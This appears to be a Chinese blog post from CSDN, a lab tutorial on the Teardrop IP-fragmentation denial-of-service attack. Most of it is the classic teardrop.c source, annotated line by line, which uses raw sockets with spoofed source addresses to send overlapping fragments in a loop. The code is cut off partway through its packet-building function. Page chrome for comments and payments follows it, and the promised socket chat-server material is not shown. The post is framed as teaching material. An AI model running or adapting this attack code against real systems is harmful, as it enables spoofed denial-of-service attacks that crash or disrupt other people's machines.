TearDrop代码编程与SOCKET应用实例

本文详细介绍了TearDrop攻击的原理和实现,包括编写Teardrop攻击代码及使用Wireshark抓包分析。同时,文章还探讨了SOCKET在C/S架构中的应用,包括面向连接的流式套接字示例和非阻塞的多人聊天服务器端的实现。
摘要由CSDN通过智能技术生成

TearDrop代码编程与SOCKET应用实例(wait for update)

实验环境ubuntu 18.04 server版

TearDrop代码编程

Teardrop攻击是一种畸形报文攻击。是基于UDP的病态分片数据包的攻击方法,其工作原理是向被攻击者发送多个分片的IP包(IP分片数据包中包括该分片数据包属于哪个数据包以及在数据包中的位置等信息),某些操作系统收到含有重叠偏移的伪造分片数据包时将会出现系统崩溃、重启等现象。

实作

1.ubuntu server配置桥接模式
Ubuntu18.04 Server桥接模式的配置参考
2.编写teardrop.c

#include <stdio.h> 
#include <stdlib.h> 
#include <unistd.h> 
#include <string.h> 
#include <netdb.h> 
#include <netinet/in.h> 
#include <netinet/udp.h> 
#include <arpa/inet.h> 
#include <sys/types.h> 
#include <sys/time.h> 
#include <sys/socket.h> 
#include <errno.h> 

void usage(u_char *); //处理错误
u_long name_resolve(u_char *); 
u_short in_cksum(u_short *, int); 
void send_frags(int, u_long, u_long, u_short, u_short); //IP内容的设置,进行发送IP包
int main(int argc, char **argv) 
{
   
        int one = 1, count = 0, i, rip_sock; 
        u_long src_ip = 0, dst_ip = 0; //定义源IP和目的IP
        u_short src_prt = 0, dst_prt = 0;//定义源端口和目的端口
        struct in_addr addr; //定义一个in_addr对象
		printf("teardrop route|daemon9\n\n");
		/*socket(AF_INET,SOCK_RAW,IPPROTO_RAW),其原型为
		int socket(int domain, int type, int protocol);
		int domain”参数表示套接字要使用的协议簇,常用的协议簇:
		AF_UNIX(本机通信)
		AF_INET(TCP/IP – IPv4)
		AF_INET6(TCP/IP – IPv6)
		“type”参数指的是套接字类型,常用的类型有:
		SOCK_STREAM(TCP流)
		SOCK_DGRAM(UDP数据报)
		SOCK_RAW(原始套接字)
		“protocol”参数用来确定套接字使用的协议簇和类型
		一般设置为“0”,但是有时候创建原始套接字时,并不知道要使用的协议簇
		和类型,也就是domain参数未知情况下,它可以确定协议的种类。
		IPPROTO_RAW就是确定协议的类型
		当套接字创建成功时,返回套接字,失败返回“-1”。即失败就会输出错误信
		息,然后就退出程序*/
        if((rip_sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) 
        {
   
                fprintf(stderr, "raw socket"); 
                exit(1); 
        }
        /*setsockopt函数是用于任意类型、任意状态套接口的设置选项值,即设置套接口的选项
        setsockopt(rip_sock, IPPROTO_IP, IP_HDRINCL, (char *)&one, sizeof(one))的原型:
        int setsockopt(int sockfd, int level, int optname, const void *optval, socklen_t optlen);
        sockfd:标识一个套接口的描述字。
        level:选项定义的层次;支持SOL_SOCKET、IPPROTO_TCP、IPPROTO_IP和IPPROTO_IPV6等。
        optname:需设置的选项。
        optval:指针,指向存放选项值的缓冲区。
        optlen:optval缓冲区长度。
        IP_HDRINCL:如果是TRUE,IP头就会随即将发送的数据一起提交,并从读取
        的数据中返回
        */
        if (setsockopt(rip_sock, IPPROTO_IP, IP_HDRINCL, (char *)&one, sizeof(one))< 0) 
        {
   
                fprintf(stderr, "IP_HDRINCL"); 
                exit(1); 
        }
        //当main中传入的参数个数少于3时,就会利用处理错误函数进行输入一些信息
        if (argc < 3) usage(argv[0]);
        //通过函数name_resolve进行源IP和目的IP的设置
        if(!(src_ip=name_resolve(argv[1]))||!(dst_ip = name_resolve(argv[2]))) 
        {
   
                fprintf(stderr, "What the hell kind of IP address is that?\n"); 
                exit(1); 
        }
        /*getopt函数来解析命令行参数 
        getopt(argc, argv, "s:t:n:")的原型:
        int getopt(int argc, char * const argv[], const char *optstring);
       如果getopt函数找到一个选项字符,则返回该字符,更新外部变量optind和
       一个静态变量nextchar,以便下次调用getopt函数可以使用下一个选项字符
       或argv中 带-符号的参数恢复扫描。如果没有更多选项字符,getopt()返
       回-1。 那么optind是第一个argv中带-的参数的索引。optstring是一个包
       含合法选项字符的字符串。optarg是指向当前选项参数(如果有)的指针。
       atoi()函数 atoi()原型: 
       int atoi(const char *str ); 
       函数功能:把字符串转换成整型数,若无法转换,则返回0 */
        while ((i = getopt(argc, argv, "s:t:n:")) != EOF) 
        {
   
                switch (i) 
				{
   
                case 's': // source port
                        src_prt = (u_short)atoi(optarg); 
                        break; 
                case 't': // dest port 
                        dst_prt = (u_short)atoi(optarg); 
                        break; 
                case 'n': // number to send 
                        count = atoi(optarg); 
                        break; 
                default : 
                        usage(argv[0]);
                        break; // NOTREACHED 
                }
        }
        //通过srandom函数设置种子值
        srandom((unsigned)(utimes("0",(time_t)0))); 
        //若上面源端口的值为0,就随机生成一个随机数赋值给源端口
        if (!src_prt) src_prt = (random() % 0xffff); 
        //若上面目的端口的值为0,就随机生成一个随机数赋值给目的端口
        if (!dst_prt) dst_prt = (random() % 0xffff); 
        //发送的次数的若为0,就将设定好的COUNT值赋给count
        if (!count) count = COUNT; 
        printf("Death on flaxen wings:\n"); 
		addr.s_addr = src_ip; //给addr对象赋值
		//inet_ntoa()函数功能是将网络地址转换成“.”点隔的字符串格式
        printf("From: %15s.%5d\n", inet_ntoa(addr), src_prt); 	
        addr.s_addr = dst_ip; //给addr对象赋值
        printf(" To: %15s.%5d\n", inet_ntoa(addr), dst_prt); 
        printf(" Amt: %5d\n", count); 
        printf("[ ");
        //循环调用send_frags函数发送IP包
        for (i = 0; i < count; i++) 
        {
   
                send_frags(rip_sock, src_ip, dst_ip, src_prt, dst_prt); 
                printf("b00m "); 
                usleep(500); 
        }
        printf("]\n"); 
        return (0); 
}

void send_frags(int sock, u_long src_ip, u_long dst_ip, u_short src_prt,u_short dst_prt) 
{
   
        u_char *packet = NULL, *p_ptr = NULL; // packet pointers(IP包指针)
        u_char byte; // a byte 
        /*套接字协议结构体
        struct sockaddr_in{
        	sa_family_in sin_family;//地址族
        	uint6_t sin_port;//16位的TCP/UDP的端口号
        	struct in_addr sin_addr;//16位的IP地址
        	char sin_zero[8];//不使用
        } 
        */
        struct sockaddr_in sin; 
		sin.sin_family = AF_INET; 
        sin.sin_port = src_prt; 
        sin.sin_addr.s_addr = dst_ip; 
        //malloc函数原型是void *malloc(size_t size),用于分配所需的内存空间,并返回一个指向它的指针
        packet = (u_char *)malloc(IPH + UDPH + PADDING); 
        //网络层IP包的设置
        p_ptr = packet; //IP包头部中版本和头部长度的设置,4表示采用IPv4,5表示头部有5行
        /*bzero函数
          原型:extern void bzero(void *s, int n);
		  用法:#include <string.h>
   		  功能:置字节字符串s的前n个字节为零。
          说明:bzero无返回值。
        */
        bzero((u_char *)p_ptr, IPH + UDPH + PADDING);
        
        byte = 0x45; 
        /*memcpy函数
         原型:extern void *memcpy(void *dest, void *src, unsigned int count);
         用法:#include <string.h>
         功能:由src所指内存区域复制count个字节到dest所指内存区域。
         说明:src和dest所指内存区域不能重叠,函数返回指向dest的指针。*/
        memcpy(p_ptr, &byte, sizeof(u_char)); 
        p_ptr += 2; // IP包中TOS (skipped)的执行  
        *((u_short *)p_ptr) = FIX(IPH + UDPH + PADDING);//IP包的总长度的设置 
        p_ptr += 2; 
        *((u_short *
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值